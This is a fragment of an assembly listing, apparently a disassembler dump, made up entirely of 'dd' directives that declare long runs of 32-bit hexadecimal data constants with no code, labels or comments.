		dd 2FFB2536h, 5C469489h, 465E10BCh, 0D5DA004Ah,	0C593F2A5h
		dd 3B9109D8h, 0C04B2E41h, 7C48FCBAh, 0A1000B6Ah, 5D3EBD1Bh
		dd 5BC453h, 6843F7C0h, 90B9F3DDh, 4FDE1806h, 0EC907712h
		dd 0A5C0A850h, 854099E0h, 0A4807BB2h, 0D70293D8h, 0A2BFF2B8h
		dd 669980A6h, 2DA9E4CEh, 880A0883h, 8F467434h, 7BB90076h
		dd 6215071Fh, 0C98A3768h, 0E400C7BCh, 0FA0F5D89h, 12AC2EC2h
		dd 9C23B83Fh, 26211104h, 53B8C0BDh, 0DE21AB01h,	0A6BA4FDCh
		dd 708FA042h, 276098F0h, 0F012F2D3h, 3170C8FBh,	2C7EEA1Dh
		dd 1D451A4h, 6E7365B7h,	58D4401Ch, 78C68FA2h, 139A1DDh
		dd 20D3A901h, 0EC2190D0h, 3A3BB0E5h, 322E0258h,	0C095D886h
		dd 586236F8h, 3960B6DCh, 0C2CFFFCDh, 0A2911907h, 0EEF7D08Bh
		dd 376C827Bh, 0AA92001Bh, 1D95684Bh, 0C6BD3Ch, 0F638534Fh
		dd 0FACE13C8h, 12175FBAh, 7F6C0604h, 0CA106918h, 2C5873C7h
		dd 0C409E822h, 136A93B2h, 1BCAC044h, 0C010D67Dh, 5340E310h
		dd 0E8071099h, 0ACE0C968h, 651CC0h, 1D1E4BC1h, 0DDF03D05h
		dd 9B3A5715h, 0B44C17DCh, 2880C4DBh, 53D7AF2Bh,	0A556CF02h
		dd 4433D8E6h, 644B509Ch, 3469EFF9h, 0A158B692h,	0DA40D189h
		dd 966740F6h, 9D00DCBCh, 16765445h, 0FC14BF52h,	3D573DE0h
		dd 0C8F48BCAh, 0DE20C0F5h, 340B03E9h, 903F9C4Dh, 0EEE136A8h
		dd 620A0569h, 0F20B81CBh, 30F8F294h, 0EE186B4Bh, 5859613Fh
		dd 7517954h, 8F9CF23Eh,	57605087h, 8D09F47Ch, 0D073F889h
		dd 0DC60EF8h, 3709DBA5h, 0EFD96459h, 0A301F618h, 87154BEDh
		dd 0E2F50599h, 0B4ECAA20h, 0DF6C80C4h, 50F33013h, 0C88FF504h
		dd 0E235B894h, 309DB20Ch, 5C2542C4h, 0F2F810B2h, 16900199h
		dd 92D56667h, 0ED2492C0h, 0C9E35489h, 88EC3B7Eh, 0FAD500F0h
		dd 0E29BE047h, 712E8972h, 4008FC0Ch, 0F401F663h, 57E3C614h
		dd 98230C24h, 5430F4A2h, 0BEBF07E0h, 0FEE7423Eh, 629C1C37h
		dd 4B59D8E2h, 842CA4h, 4A50E540h, 0E91B25FEh, 848250C2h
		dd 0CC70724Fh, 0E5691C25h, 6550E450h, 65010813h, 0A757A238h
		dd 0A083BEC0h, 0B4C213Ch, 4B4041E1h, 5891E80Fh,	0E0701000h
		dd 29D09106h, 402418A0h, 0A84D542Eh, 2C82D002h,	0AC41BAB0h
		dd 4DECAC3Ch, 0AAED008Ch, 0C6E26849h, 270B5771h, 4FE3142h
		dd 78826664h, 19864E1h,	108BE06Ch, 0EE6D7F7Bh, 3082B456h
		dd 0FB4F50EFh, 0D0FC70A8h, 2DF5400Eh, 0BC6F7666h, 0FAC8E40Fh
		dd 1067560Bh, 588F7E92h, 0E2C09488h, 0E84D6Dh, 7DFFD347h
		dd 0ABD01FE0h, 920B2CBCh, 0C06412BAh, 0B11C63DCh, 0C3344570h
		dd 19456D4h, 97D330BCh,	508BF3ECh, 1764FCCBh, 2286FE58h
		dd 0D23095E4h, 0BF351226h, 0C1A8A2DCh, 9926DA73h, 3A0220C0h
		dd 57224074h, 209F84F6h, 0E6DC9F4h, 0A54100FAh,	5EB7322Bh
		dd 8307DCD7h, 1E94DEB5h, 74FB80B2h, 3015AC60h, 81B3E90h
		dd 0E8D0C74Bh, 30E0A7ECh, 9E83967h, 104820B0h, 0EDFCC0B0h
		dd 484F29BDh, 5AE8A4BFh, 2D94008Ch, 0FAA58149h,	0E8B0EE95h
		dd 70173F34h, 0F08854CEh, 0AD5619C0h, 5D0C01F4h, 65921430h
		dd 35B424DEh, 0B92C5C00h, 0F7E706C8h, 5EDCBE07h, 37049D46h
		dd 80527DBDh, 0B1092B68h, 178C8D27h, 80F891E0h,	77DF0454h
		dd 0F0920B2Bh, 0A0452421h, 260F6E4h, 7038B8C5h,	5BC406B9h
		dd 21E53Bh, 56D42154h, 0AD3D8124h, 0A77FDB0Eh, 88A092D8h
		dd 0D4DD4B31h, 9D3882ECh, 4C79D059h, 0DF03FD18h, 1D994238h
		dd 3AC1B4CFh, 0D03C7593h, 0F0002851h, 804BF7E0h, 2B12C30Ch
		dd 5CB7DD30h, 6B3ADBA0h, 0F3A1D30Eh, 0D2F9E115h, 99A64582h
		dd 310B0097h, 998E3DD8h, 97C6C101h, 4F46F793h, 0FBF6FF60h
		dd 7D890F8h, 0F5AF09C3h, 56BD406Ch, 0BC1C7BC4h,	50A807F3h
		dd 4F4E1E78h, 0C789FCC7h, 67514464h, 60850430h,	6407009Fh
		dd 27583E34h, 0E211B212h, 9800543Fh, 803CA51Ah,	9700B052h
		dd 7CD36618h, 1FF81BBh,	0BA601B7Fh, 3E1F5C07h, 8C77743Ah
		dd 0B3C3B100h, 5C3CDACDh, 7FA4A60h, 1068B46Ch, 4DD3CA64h
		dd 93D8E0A0h, 77413D00h, 0ACBF338Dh, 0B2640987h, 0EC427E97h
		dd 0F36494C7h, 49005967h, 0D2C4652Ah, 287F9328h, 26C0995h
		dd 8D72A8h, 0FE3C3B55h,	1AF141C0h, 66AE86h, 0E6DBC64Dh
		dd 417F6942h, 0B6BF0402h, 0DB3FE124h, 32300004h, 692840BEh
		dd 2E88B0B1h, 0A5DD0AA2h, 488F8090h, 4D20AA14h,	0D8B38B02h
		dd 409A5B38h, 16BCD637h, 53F713FBh, 830C04E4h, 8EF5005Dh
		dd 39E5B83Bh, 96279BDEh, 11508E7h, 0D81772DCh, 82220Fh
		dd 4A24C4B2h, 0A5880258h
		dd 0E07466E9h, 9BC26402h, 0D040C883h, 38506B8Fh, 0F3919097h
		dd 0D8AE2180h, 660D7B9Ch, 58870BB2h, 80E0343Bh,	0E64FA26Ch
		dd 0E8A50C08h, 106C8057h, 6B287AD2h, 99F02905h,	0A802E438h
		dd 0D6AB2C40h, 59467CC8h, 9FBCEA04h, 9C60A4DDh,	0F4A1BB00h
		dd 88C3574Dh, 215C0491h, 465B4095h, 0C676B6h, 94084842h
		dd 0D5903196h, 0E0C2935Ah, 3C060F7Eh, 0B091C168h, 918F0D1h
		dd 0F516BE00h, 0A257E3E5h, 3D3112D7h, 2A64E4FBh, 0ADE86802h
		dd 0E436E99Fh, 402B70F8h, 28643CF3h, 50C88419h,	1EA90015h
		dd 0DF14CFE4h, 610056BEh, 0D98BFF4Ah, 0BF8ECA7h, 81EA3A2Bh
		dd 4B44784Dh, 0CDAE9D60h, 5CC53F05h, 0D4E08270h, 301327C2h
		dd 67AC388Ah, 0C1F9644Eh, 0E845613Fh, 0B2076DE5h, 0CD98C68Eh
		dd 0F52ED4F0h, 31E4603Ah, 0B9642336h, 0ABEE0400h, 91B0C9DFh
		dd 5A277E74h, 8BA074D5h, 0CE4D8898h, 42104580h,	210157A1h
		dd 51C20933h, 44726A62h, 0C0133604h, 8C7CF9C7h,	46CA1D7h
		dd 75BB17E8h, 14B34Bh, 0D33DB0E2h, 7A5843Ah, 0D0880B74h
		dd 8539EC3Ch, 112EF509h, 7C848075h, 0D5B710h, 0D256860Ch
		dd 3ABD3B8Bh, 0CE0151FAh, 0DF25ED43h, 0BC426789h, 0EEB4E0C8h
		dd 0EAF325C7h, 4BE4DCC5h, 0F48E5360h, 5B414709h, 6E54823Dh
		dd 0A4E009ABh, 3E200F4Ch, 0F87F2C9Fh, 0C4D83434h, 0D71CE2B4h
		dd 9B23B82Bh, 0DEC50901h, 4B6B1257h, 0C471697Ch, 12184C79h
		dd 502471B8h, 5C26B4CDh, 8BA79824h, 7980597Ch, 3A881851h
		dd 0C6023A4Fh, 0FE56D6C0h, 88914878h, 1118F5D1h, 2895B00h
		dd 0DEEE8E20h, 70913Ch,	2DF2851Bh, 30022238h, 818F43C1h
		dd 476CDE0Bh, 0DFB8F0A2h, 0CD00A35Ah, 997500Ch,	558FE04h
		dd 3F893AFDh, 0B088415Eh, 0F8C03913h, 8A05476Ah, 0D66F32CEh
		dd 48729CA1h, 0AC098F7h, 167F24A8h, 9D18966Fh, 88FC0BB8h
		dd 9C47C092h, 235CBC5Ch, 2F94504Eh, 1E616C96h, 0B825D01Bh
		dd 8CB27045h, 19304BF2h, 44E61DC9h, 0DC4DC20Ah,	4C681A4Fh
		dd 0D77EFBBEh, 4B1B4980h, 474C20BFh, 0BCBB5C1Ch, 61CC70h
		dd 9BC815A4h, 0B6AEF21Ch, 58665E04h, 0D8FCC9F6h, 751CD14Eh
		dd 24ED0565h, 0C0168B8h, 0A50F2A93h, 4EF3EADEh,	883CCF88h
		dd 0B68BC34Ch, 2E7BE0B0h, 4137553Eh, 4C88BC0Eh,	98CE60C1h
		dd 0ACCF8C8h, 0C0E22984h, 0DE893E70h, 74D9BC92h, 0C9184CD1h
		dd 15F41200h, 0BD0B0CD7h, 67DC0B38h, 647085CEh,	0CC56F8AAh
		dd 0B47465Eh, 0C29CFEFAh, 70447B8Ch, 0AE47B53h,	0E3F3BF17h
		dd 145BF4C8h, 4CB37E02h, 58C4BB8h, 6AC91E86h, 648014C0h
		dd 247AFA10h, 4674208Dh, 30E8269Ch, 31BDE206h, 75F50519h
		dd 0B27B697Ah, 0AAE40220h, 0F4234EE7h, 0B49A072Ch, 2473C967h
		dd 185E870h, 5CD0E449h,	5060402Dh, 0D82FE3ECh, 0B1CABC17h
		dd 82376800h, 3FD3471Bh, 8580BF66h, 0B589525Eh,	483C08B1h
		dd 0D93B0306h, 869C860Fh, 0BD310C02h, 661E1B75h, 76BD8C7Fh
		dd 1C465CBAh, 8E8A7300h, 0B25C3D75h, 892EC103h,	3C0C518Dh
		dd 486F65Ah, 375B840Fh,	0A195FF1Fh, 1DBF7970h, 0EADCB759h
		dd 0FC04C987h, 791A9330h, 65E00033h, 8B5BB899h,	2E6269BDh
		dd 0F5C32B38h, 0B658F47Bh, 0CC92003Ah, 3D3071EDh, 4820834h
		dd 0E94A0A8Dh, 81660005h, 8BAD7DCFh, 0B70FC00Eh, 0EBC3AEFFh
		dd 5C57DD8h, 85601AC4h,	2F0CFA37h, 53C7228Ah, 1CBF0357h
		dd 5F468128h, 1A9185D8h, 0C15DE8C1h, 0FC6F70A5h, 8C1AB8A3h
		dd 60DB5EBDh, 0A0D8589h, 0BFCF58D8h, 0BD810CF2h, 0D01605E5h
		dd 85860754h, 24232144h, 9F22A1B5h, 0BD1628FFh,	8680915Eh
		dd 18D86B27h, 98E800F5h, 7ACDCB57h, 990D905Eh, 36B5FF3Dh
		dd 0BCF3B97Eh, 0CEFC1293h, 611D046Fh, 0DD900B30h, 5FF0C2EBh
		dd 0EF00570Ch, 0C1849AF7h, 0BC8188h, 3176A44Dh,	0A24BF83h
		dd 0E91FE728h, 0CDA0DE0Eh, 7EF6A05Eh, 50F8704h,	303D8509h
		dd 80E6EB48h, 2118A4E0h, 220FD601h, 5E8D8DAh, 30BF9810h
		dd 0BE055D7Eh, 794BBBDCh, 1489AC04h, 48D55E0Bh,	7FD8BB0h
		dd 8749BB4Dh, 29A75011h, 0B9074307h, 8AAA102h, 0BD89E8B0h
		dd 3E18606Dh, 2A39B50Bh, 8C0F0CC4h, 0AC7FA589h,	831B9F9Eh
		dd 9501800Bh, 0C824575Dh, 660DF9B0h, 9D89B60Eh,	0AC4410D5h
		dd 0EA20F9EEh, 0C2F90FDh, 22283DB7h, 7930F61Ch,	8BF01613h
		dd 958909F9h, 262431DDh, 0D5564309h, 0A0EDE82Ah, 86652FF7h
		dd 6CCF2055h, 6B57B8h, 81DEEF68h, 4BE5033Ah, 61F1EA17h
		dd 0DDB6830Bh, 2246DE8h, 0E4B11E00h, 0E95FC7BDh, 0FFF83805h
		dd 1BE27AD2h, 0B3F3930h, 8CBD739Dh, 0C18BEA82h,	54819FB7h
		dd 0E897786Dh, 0AC57B40h, 1DCF0031h, 4FF78A32h,	0F54DBD2Bh
		dd 0EB5F0A76h, 8B44DF04h, 2DC882h, 32FD858Dh, 50509080h
		dd 0A113BE52h, 0BED931B4h, 7E5AE2DCh, 60570F58h, 8BAAB9B0h
		dd 5F610526h, 4BF6EB90h, 0FC5332B0h, 6C210E02h,	8425D20Ch
		dd 0D3C1FBEEh, 5A061DFDh, 0E95E0978h, 0AB0C17FBh, 1DC847CBh
		dd 1FFEF1C1h, 27A9DF4h,	0BE28E58Eh, 41405660h, 4282102Dh
		dd 293541FDh, 3B406102h, 971EB0C6h, 0A40A4FBFh,	0C202991Dh
		dd 60064C13h, 8308B988h, 9350C10h, 5C08301h, 7A6090F9h
		dd 0E60090F9h, 0DE1F3816h, 0EE000DF1h, 31BA4119h, 7C3CAE9Fh
		dd 6BA31401h, 0BF41C354h, 0BE10BB07h, 3E7FEFF2h, 27D4610Dh
		dd 22FC00C7h, 77203B9h,	0FD00A4C2h, 0B05527A0h,	3121C45h
		dd 0F79599Fh, 352A028Fh, 699D860h, 94181BD1h, 0D998000h
		dd 0B1BAC186h, 0B190A360h, 0A80B61Ch, 61AA05C2h, 62D6F08Bh
		dd 0C011DAFEh, 5E6F3F3Bh, 0E8A09F3h, 49032E07h,	505E1E1Ch
		dd 14FE6BBAh, 10D0507Ah, 0FA402A05h, 30154171h,	27407D09h
		dd 0F18E9057h, 8D5F1B80h, 4B9C149Dh, 4C9060FCh,	1D30A120h
		dd 47D3BE61h, 59FF3EE4h, 0E4D1C03h, 2D855308h, 9D290E0Ah
		dd 300C222Dh, 21406D10h, 1BCF5DE9h, 0EF62FE5Bh,	0E52E4BCCh
		dd 3DFF8F88h, 7D007475h, 0E4FCB186h, 34EE5A5Eh,	63C3DD3Ch
		dd 0A0D15DAh, 8D0F57B5h, 0F074B90h, 0D21EBBFEh,	185861Ch
		dd 6BFB5E38h, 20EA5F66h, 0FD9D8B70h, 5E0E205Dh,	814A47EFh
		dd 0E7DD0BE3h, 601864E6h, 0FA3A784Ah, 0BFC174Eh, 0C62E08DBh
		dd 2E6A3399h, 0FCB08303h, 0DEB74C11h, 7478CACCh, 4B011646h
		dd 8D8940C9h, 0FE75181h, 0FAAD5882h, 0EA9E935h,	0E192B6EBh
		dd 0C5609484h, 611A4171h, 5C6204DDh, 20E8169Ah,	132679C8h
		dd 0BB3E7B00h, 639E8680h, 2531EC92h, 0D323A5BDh, 9875FE9h
		dd 0E00095BDh, 8730A947h, 382901DEh, 9D0993B8h,	30C2357Dh
		dd 2F401DBCh, 14E60F81h, 5EF4AF17h, 0AF976A94h,	96C18BDAh
		dd 278DFC17h, 24A51129h, 0FEFF230Eh, 743DEC5Ch,	97A1746h
		dd 533F7845h, 815F5685h, 2D1F5931h, 68DB2664h, 0C45AE705h
		dd 0F6F7F402h, 454258C3h, 28416183h, 9AFED744h,	0F8B6C02Dh
		dd 123EC648h, 3050F28Bh, 0B9B18DFBh, 75F73000h,	55EDC8FCh
		dd 82B052Eh, 92786E88h,	0B5928F13h, 83C61962h, 3D24A00h
		dd 562A1CBDh, 27575833h, 24048E62h, 0D6535455h,	0D6686C00h
		dd 98B75CB0h, 872D072Ch, 9043FE9h, 2008CDBDh, 21C108A3h
		dd 4F29B01Ch, 7A181471h, 51BD2312h, 0FBBED540h,	236012Ah
		dd 0FE8B70E6h, 174771E4h, 0CE601A44h, 7B0139BDh, 29D496FCh
		dd 3934D585h, 0D8B62F0Fh, 95AF98F7h, 301541B5h,	0AA28505Ch
		dd 60620FBAh, 12B3D20h
		dd 6007E580h, 0F4B7C398h, 428849E6h, 4226E4h, 3104E8C1h
		dd 91A8B98Dh, 0E25EF766h, 1596BFEh, 70D8532Eh, 7120CA67h
		dd 0B92A1EEEh, 1793922Bh, 2088BF85h, 0B1330178h, 2C6962E7h
		dd 37FF8ACh, 0D2689818h, 12ADBD2Eh, 0DD06480Fh,	0E23922CFh
		dd 1894301Bh, 0D36D3100h, 8B9FB9D6h, 6BD596F8h,	6058EDD5h
		dd 617763D9h, 3AE1C05h,	0F3FFB0F9h, 0B5090FE0h,	0F350F0E9h
		dd 9B1690F3h, 48C27885h, 0B31FBE8h, 297D58CBh, 0BE3B1705h
		dd 87C1BEDAh, 3060DA36h, 29329552h, 0F75A5001h,	0B80089F2h
		dd 5132FAD0h, 139585Bh,	7CF7F148h, 0F07B8703h, 780EFFE8h
		dd 423C6199h, 5069830Fh, 0E0D38D05h, 2BE260A3h,	5FF62C09h
		dd 267F2824h, 7116465Ch, 8D6F9D24h, 846066Bh, 38C3B00Dh
		dd 0DD4509BDh, 0F0AF36C3h, 27B9010h, 0B503DE85h, 0AA462C51h
		dd 82BE6609h, 0C78403E1h, 0AD949CE5h, 749A28Ch,	0F505D3CAh
		dd 878DB253h, 46B79542h, 5BC7980h, 32113358h, 1F040E1h
		dd 0E4D8FC24h, 8B661A58h, 0B436CF1h, 128429EEh,	1007B92Dh
		dd 17CCCE2Fh, 3BC1835Ah, 7192375h, 2CBECDCh, 5B63F527h
		dd 61D19A92h, 8F12003Fh, 0E83CC75Fh, 0C2CC2D59h, 0CF4005A5h
		dd 0C31AC8EDh, 64A8DF6Ah, 2B50A31Eh, 0C3B115FBh, 9713D993h
		dd 398F716h, 6F45D3E2h,	5AF100FEh, 4BBF2CA6h, 5EA32C2Dh
		dd 51F752E3h, 190F936h,	0BF050EB1h, 502AF4h, 6F4515ADh
		dd 0F6286D44h, 3543A303h, 10F9E0F7h, 172E2DF0h,	9ABE5B5Fh
		dd 47AC9E7h, 965D0C0Dh,	0C224348Ch, 77DA0D88h, 57D32BA2h
		dd 4D2BEB3Bh, 4EDAC0DBh, 87783DAEh, 8EE192Ch, 8463593Bh
		dd 0E9052DD9h, 5E89222Ch, 5A10ADE0h, 8B589005h,	0F5FE60C0h
		dd 99CFD089h, 92F42200h, 3FA6FF36h, 96EE3960h, 25B50196h
		dd 151A923Ah, 6A1B6107h, 596B68A9h, 85C712B8h, 0DB2741FDh
		dd 7655A3EBh, 2582F152h, 790EA8ABh, 0F2906CFFh,	8A462B4Ah
		dd 1CC43285h, 860C0067h, 0AB05D262h, 608C2B02h,	3C78810Fh
		dd 0B560EA2Ch, 7D4F5F07h, 0F9D7002Dh, 6929C187h, 61482079h
		dd 0D8813A62h, 0D4A2A5EAh, 3AFD2600h, 0C3B96297h, 6A02380Eh
		dd 5A3F0173h, 0DA66D5A4h, 5347FA5Eh, 360034DAh,	3CD9E49Dh
		dd 715C1572h, 4718D09h,	0DB907F24h, 87CDD25Dh, 0B5E6FE00h
		dd 225759C2h, 0FF0DFD17h, 6FF99CCh, 6FDFC9A0h, 53A0025Fh
		dd 81801A25h, 0A94E0BCFh, 0CDD732F5h, 0F21462A2h, 829016C2h
		dd 6102BF4Fh, 5E261554h, 0A0997860h, 2D8BE0ADh,	1808C98Dh
		dd 0EFBD1EBEh, 0DF8169A0h, 0BF83647h, 0B49C95A3h, 2940B182h
		dd 0D154B9F8h, 1181817h, 29D41B14h, 430A3195h, 14DCE12Ch
		dd 0F3315AE1h, 51021C9Dh, 5FFB4BC0h, 0A7E9F929h, 88306400h
		dd 38BFBC26h, 4EA7AC48h, 5B1EA186h, 95DFDECh, 5CECE2h
		dd 7069BEF8h, 16FF06Eh,	217D9D17h, 2B4BD2EEh, 0F758E900h
		dd 0E076E3FFh, 0FD8631F0h, 0B989DA17h, 0D811606h, 8AC156C3h
		dd 51A4315Ah, 1DC94233h, 0B90B5F03h, 0AC6D2369h, 354DC8D7h
		dd 0B03DB37Ah, 53F40038h, 4C933B7Eh, 0F88B1590h, 6577B250h
		dd 8231C6FCh, 0D9120B4Ch, 0E54609F1h, 766EA580h, 0FC00558Bh
		dd 3216F28h, 18919FDAh,	84DD82E7h, 4C4E1D84h, 0C7B7D401h
		dd 4F6C6288h, 4029FB40h, 0C199502Eh, 0F00AFA83h, 92C1E80Bh
		dd 8E9A0EA1h, 80D31CC5h, 63DE811Eh, 10F7AA18h, 48BF0F96h
		dd 0FD049EFEh, 26D622Ch, 0D1B59D89h, 0D68141B1h, 2FC1F008h
		dd 0BE804C99h, 348E9BE8h, 84FE0054h, 0E4793565h, 0C2B40AC5h
		dd 0B8F6469h, 263751D6h, 97FA65F5h, 5FA242A5h, 0C8D1D3FFh
		dd 0EB003EA6h, 0E966CE9Ah, 71C2B4BEh, 99B548Eh,	31297D92h
		dd 5197A1E7h, 0C8AA8EBBh, 9D2FC019h, 581470A3h,	80C2E8B4h
		dd 0D9E24EC6h, 1E0A0190h, 5AE68B09h, 14AE6C75h,	809DE85Eh
		dd 0F691CC76h, 0DBC8002Ah, 5606D636h, 5A179487h, 9CFE8E0Fh
		dd 5C009BE9h, 0CD8F7030h, 262BA876h, 585E6B2h, 0A72E459Dh
		dd 0BE6605DAh, 0BDA53B0Eh, 5BB8EC7Eh, 0FA00226Eh, 84D51073h
		dd 0FE88E2Ah, 83F1B702h, 0D11CA0BDh, 1A3311DDh,	0FF7072E9h
		dd 0EB70137Bh, 0AC3C196Bh, 100256C0h, 1689F28Bh, 9105198Dh
		dd 181CA0BBh, 34E934F5h, 0F310240Dh, 301DF26Dh,	100AE8Ah
		dd 0DF29AF58h, 2DCC28Fh, 6ABA43BEh, 0C29A8D21h,	0D7005BF9h
		dd 0C4F2D964h, 49330E70h, 720090AFh, 0E18D4B56h, 1AEDE42Dh
		dd 0A771F78Ah, 3279BD85h, 5A506DA2h, 48179418h,	60012433h
		dd 5523BE72h, 5DAA8400h, 4EE81B58h, 22265A8Ch, 0B296C83h
		dd 19E4F781h, 0F5B4A4BAh, 0F48204DCh, 81489B32h, 30EB9BDh
		dd 60528850h, 0B4750BBEh, 0E8FF0557h, 7D8EFEFCh, 80D001A1h
		dd 0A4EBB585h, 2CE9D844h, 2E0101E2h, 615BB41Fh,	0C161310Fh
		dd 0A28E0A92h, 585A1360h, 10966D50h, 0E91A2939h, 3854BDFDh
		dd 417AB012h, 37113107h, 4541BB66h, 0A20804F0h,	0D3F59D01h
		dd 882D8EB6h, 3A29C016h, 5AD2661Bh, 2476A8C9h, 0E88A7DE0h
		dd 0FC5AA700h, 29F633C7h, 9325499Dh, 0DBC38B13h, 4A90801Dh
		dd 13C8A736h, 301C202Eh, 0DAC25560h, 5738F87Ah,	74B007Fh
		dd 2D21B105h, 11E92260h, 9F242500h, 8E81EA7Bh, 41700202h
		dd 753B4833h, 0DC89BC41h, 1992FD95h, 295E6127h,	60A985F3h
		dd 792CA2EFh, 31DD9510h, 0D104B658h, 0F1614FFBh, 39873C00h
		dd 9ABE4A50h, 8049C74Ch, 46F38BE2h, 743A00A9h, 93DF5D5Bh
		dd 94044FD0h, 38041542h, 8101B4A3h, 4B760CF7h, 0D77F6927h
		dd 23825F9Ah, 0F656131Fh, 0B0381A10h, 0F907CD4Ah, 0F54A20FEh
		dd 77854990h, 326214C4h, 65432ED2h, 56A4Eh, 0CF097AD6h
		dd 9201EE65h, 59B79788h, 9BD56100h, 507693E5h, 24D7F026h
		dd 698E2053h, 82C126EDh, 0FDD39048h, 104D1D81h,	0AF4A8A26h
		dd 4ACED08Fh, 5329FC89h, 19E465C5h, 349E3160h, 63FA43Ah
		dd 25F98529h, 0B5090B94h, 17CC23DDh, 0D0B595h, 118BD202h
		dd 0F816E689h, 4A814798h, 0C21F6BFh, 0D758EE2Ah, 0BA638819h
		dd 0E0DD8D86h, 0B9CA0F8Eh, 4D5A1B71h, 36B07225h, 0C1838032h
		dd 6DD06F9Bh, 0F8E301D6h, 0F40CAEEFh, 21636954h, 1815F907h
		dd 64755C4Ah, 5B0BF62Dh, 370705B7h, 0F3F28656h,	4FBAE348h
		dd 0AE7A2264h, 0D9958920h, 0D1B8B31Bh, 5D8181Ch, 52AB022Bh
		dd 2385EA8Ch, 7B002FB2h, 922FB26Ah, 4000B8EFh, 75329672h
		dd 43DDAC9h, 0B5F35F1Bh, 0EFB180E9h, 5B4C336Ch,	380648B6h
		dd 0CA04109h, 12C59049h, 0AAC32BF2h, 74B021A6h,	0F1045BD8h
		dd 0E39F1C80h, 2D0A6E0h, 9D8B654Eh, 0EC29217Dh,	43114572h
		dd 0AB8471DBh, 86D23EF8h, 8B303B54h, 127ACCC0h,	8D7E4F1Fh
		dd 24AC7FD3h, 205B5FCh,	0A58A98C5h, 99BD0880h, 0C0A89E24h
		dd 75E56D1Bh, 0F05F6200h, 91F37BF6h, 0E89A02D3h, 85C74097h
		dd 0F9828156h, 4D5E8E6Fh, 394DE02Fh, 320BC8EBh,	0C9850F07h
		dd 116053B6h, 5F0440E9h, 0D0513D92h, 0B7F97B86h, 1FE60CACh
		dd 62DFA602h, 609169F1h, 9C2F794Eh, 1DA5BBDAh, 3DFEA9B4h
		dd 467CF0B6h, 0B4065C1Dh, 0F907FFD9h, 47FD1394h, 3912ADD4h
		dd 0F269A602h, 1F8A301Ch, 3504707Fh, 0DC571382h, 9B01DFE2h
		dd 146F55F4h, 7353F450h, 3500ABF2h, 1CD7A5EFh, 0BB7FB844h
		dd 0ABA2401h, 0DEFE90F1h, 0EE995300h, 52D1212Dh, 2FCB0F8h
		dd 9CBBBE5Fh, 704D7A7Dh, 0DEB9E7E1h, 3FC4FD31h,	1986EC81h
		dd 0AE5724BDh, 0F8F820FAh
		dd 0DC9396h, 0DDF77A1h,	152CA0FCh, 8BF74E18h, 5A41BD04h
		dd 33EA601Eh, 442D8089h, 0BE51005Ch, 5E79F1AEh,	4A6C6E3Eh
		dd 6F6DDBAh, 69E7D099h,	0FCFCB92Fh, 293B0B1Ch, 6C10E953h
		dd 0C504B161h, 276C4275h, 0AD803CA8h, 0AA8684E1h, 2C1E773Fh
		dd 467478E3h, 773F001Dh, 63F9BB9Dh, 0B4EC1757h,	9B2C2DDh
		dd 0A4C09A7Eh, 72FC4FFh, 195556B4h, 0A172E5DEh,	0F02D36A8h
		dd 8DCECAh, 0AD062F26h,	0BD33F6FBh, 0A92D552Dh,	0D30C0E39h
		dd 4EF1ACB0h, 0AE5E1CB9h, 4300DE1Eh, 67B3D85Ch,	3080AED7h
		dd 0EE060DE7h, 1D488D21h, 0EC9C4F2h, 25711819h,	536E2FB0h
		dd 89AEAF02h, 0B0502985h, 99B5330Dh, 3B14E32Fh,	51B8B7B9h
		dd 437B2600h, 46C2C98Dh, 31B40B21h, 4D6091B5h, 14CE183h
		dd 0C40A2298h, 10B1D1Eh, 2D59BF66h, 8FE688B5h, 0C3178812h
		dd 9BA8CC1Dh, 3AAA50B4h, 0F52FEED4h, 490041B7h,	0E8F196BEh
		dd 60612512h, 4DE16675h, 5D8DD68Bh, 2A115DF1h, 2B43FAEh
		dd 8CE879E1h, 0C5FD8238h, 0C7800126h, 6812ADF9h, 0A98BFC98h
		dd 2E70F510h, 0BA31571Dh, 3F84AF4Ah, 0ACE7BDAAh, 9D2B120Ch
		dd 706A8629h, 0ECD27ED1h, 81E1BFBh, 569C9A05h, 0BCCA8F02h
		dd 0F55BAB23h, 357376E2h, 7E0C4070h, 0CBD60246h, 0FC2360FEh
		dd 0D87BDF89h, 5253DC70h, 0D3A8EB5Bh, 0E2224700h, 0C9858BE5h
		dd 2FEE910Dh, 3F02FEABh, 0C8215ADh, 0FA4F2AC1h,	8B42F760h
		dd 1DBD4A95h, 0F835AA25h, 6BCB91F3h, 0A33F97C4h, 0EA551BF5h
		dd 2A885736h, 50280222h, 9E9BAC58h, 11FF78h, 864EE295h
		dd 941881CCh, 257284B5h, 0D2FD0B0Fh, 6BAA2D29h,	1000446Ah
		dd 0F2647C7h, 0BBA9F0B7h, 0C6AF5E20h, 0B446DE94h, 0AF899D82h
		dd 8BBF05F5h, 15C12F50h, 0DFA02CEDh, 0DBF39222h, 4E4A3643h
		dd 0C2349BEEh, 0BB221291h, 798DB833h, 0D70A8209h, 1A467460h
		dd 59ED8401h, 0C45DA15Fh, 899485C7h, 701FD3E9h,	0FE2D3488h
		dd 0C04B4D61h, 7EB98A8h, 0E99D6117h, 14C8798Fh,	0C18A07C1h
		dd 0E36BAB2Ah, 0E4CABA4Ah, 0AB01F812h, 308B52A4h, 0E32BAC1h
		dd 0EA6E81F0h, 0C283C241h, 99064014h, 0FFCF830Ah, 0E858D20h
		dd 50F24C2Bh, 0D1F476BFh, 580540E8h, 1AC9C22Bh,	19709F0h
		dd 5A4D38AEh, 8A120920h, 3C508380h, 813BD003h, 1945323Ah
		dd 70076484h, 0E910402Dh, 17BED949h, 2404C88Bh,	30309A9h
		dd 4F593C40h, 2CF11B5Ah, 0D5ACCFEFh, 0F89B8305h, 0C1C5B61h
		dd 20B9D103h, 0B64D1EB7h, 35201208h, 1976BF18h,	0B4E5152h
		dd 0B4808B51h, 0B0A98110h, 0B50514A3h, 0C3C03359h, 2F55A7FEh
		dd 138F724h, 0D2086847h, 8D49AA7h, 1E412195h, 7F094B83h
		dd 3919F8A9h, 6BD3EB25h, 7C1E7C20h, 865E00F8h, 0BA75CD5Ch
		dd 4D03290Dh, 0C7BF0F5Fh, 606D9181h, 3222072h, 0BAC61EC5h
		dd 0BE666300h, 8B9192h,	0DF80170Ch, 0D6C1814Eh,	0BE19A43Ch
		dd 0F1F2F766h, 0A822D906h, 120F512h, 7E79C8ECh,	8389FE8Ah
		dd 0A6B8663Ch, 3C081291h, 12E0CBFh, 12309D60h, 0D081024Ah
		dd 3DB1D8Dh, 0CFA8562h,	85D0F0A0h, 0D9FEBB55h, 0DE15628Ch
